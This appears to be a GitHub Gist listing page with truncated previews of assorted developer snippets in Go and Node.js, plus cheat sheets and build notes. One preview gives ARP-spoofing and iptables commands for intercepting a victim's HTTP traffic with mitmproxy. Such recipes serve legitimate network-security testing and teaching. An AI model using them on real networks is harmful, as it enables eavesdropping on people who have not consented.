Skip to content

Instantly share code, notes, and snippets.

@ang-st
ang-st / tv.js
Created May 17, 2017 10:04
Trading view data
var util=require('util')
var WebSocketClient = require('websocket').client;
var client = new WebSocketClient();
var conn = null
var received = false
client.on('connectFailed', function(error) {
console.log('Connect Error: ' + error.toString());
});
@slav
slav / multivalChSample.go
Created December 18, 2016 05:00
Golang sending sending multiple values through channel
package main
import "fmt"
func f(c chan func() (int, string)) {
c <- (func() (int, string) { return 0, "s" })
}
func main() {
c := make(chan func() (int, string))
@jkullick
jkullick / kali-linux-mitmproxy-transparent-arpspoof.md
Last active February 2, 2022 14:50
Intercept HTTP Traffic with Mitmproxy and Arpspoof on Kali Linux
  1. Enable IP forwarding & port redirection
sysctl -w net.ipv4.ip_forward=1
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  1. Use tmux to run 2 instances of arpspoof:
arpspoof -i $INTERFACE -t $VICTIM_IP $GATEWAY_IP
@dzt
dzt / node.md
Last active June 10, 2024 01:24
Node.js Reference/Cheatsheet

Node.js Cheat Sheet

Setting up Passport.js (REST API w/token auth) Example

  • app.js
  var express = require('express'),
    app = express(),
    port = process.env.PORT || 3000,
    mongoose = require('mongoose'),
@kousik93
kousik93 / Golang - Arbitrary JSON Array Parsing and Type Switch.md
Last active December 8, 2022 14:07
Golang - Arbitrary JSON Array Parsing and Type Switch

##Golang Type Switch - Arbitrary JSON Array Parsing I'm writing this mostly as a reference for myself. This could also be helpful to people who are new to GO.

####Note 1: Until Problem 3 we will assume we are dealing with a JSON for which we know the data types of key,value pairs. Only in Problem 3 we will look at how Type Switch is used to parse a 100% arbitary JSON

####Note 2: I know the following examples given here can be easily solved by declaring approprite structs and just decoding the PUT JSON into them, but, as im not able to come up with a better scenario, im going to stick with this to explain arbitrary JSON parsing.

From zero to microservice with 𝚫 now

The following guide will show you how to deploy a simple microservice written in JavaScript using 𝚫 now.

It uses Open Source tools that are widely available, tested and understood:

  • Node.JS
  • NPM
  • Express
@Reobos
Reobos / redislimiter.js
Created February 11, 2016 08:05
General purpose rate limiters using Redis and ioredis in node.js
var Ioredis = require('ioredis');
var redis = new Ioredis();
// Rolling window rate limiter
//
// key is a unique identifier for the process or function call being limited
// exp is the expiry in milliseconds
// maxnum is the number of function calls allowed before expiry
var redis_limiter_rolling = function(key, maxnum, exp, next) {
redis.multi([
package main
// Adapted from : https://gist.github.com/arnehormann/65421048f56ac108f6b5
import (
"encoding/binary"
"flag"
"fmt"
"io"
"io/ioutil"
@yoavniran
yoavniran / ultimate-ut-cheat-sheet.md
Last active March 24, 2025 20:20
The Ultimate Unit Testing Cheat-sheet For Mocha, Chai, Sinon, and Jest
@withzombies
withzombies / gist:d18171b6776c8a465e18
Last active February 10, 2025 02:33
IDA SDK Build Instructions
To build the IDA and HexRays SDK on Mac OS X:
1. Unzip the sdk
2. Copy the libida.dylib and libida64.dylib (from your IDA install) into idasdk67/lib/x86_mac_gcc_32 and idasdk67/lib/x64_mac_gcc_64 (these actually might go into bin and not lib...)
3. Install libiconv via brew (mine was libiconv.2.4.0.dylib)
4. Copy libiconv.2.4.0.dylib into idasdk67/lib/x86_mac_gcc_32 and idasdk67/lib/x64_mac_gcc_64 and rename it to libiconv.2.2.0.dylib
5. Copy the hexrays_sdk
cp -r /Applications/IDA Pro 6.7/IDA binaries/plugins/hexrays_sdk/include/* idasdk67/include/
cp -r /Applications/IDA Pro 6.7/IDA binaries/plugins/hexrays_sdk/plugins/* idasdk67/plugins/
6. Edit the plugin makefile to remove qwindow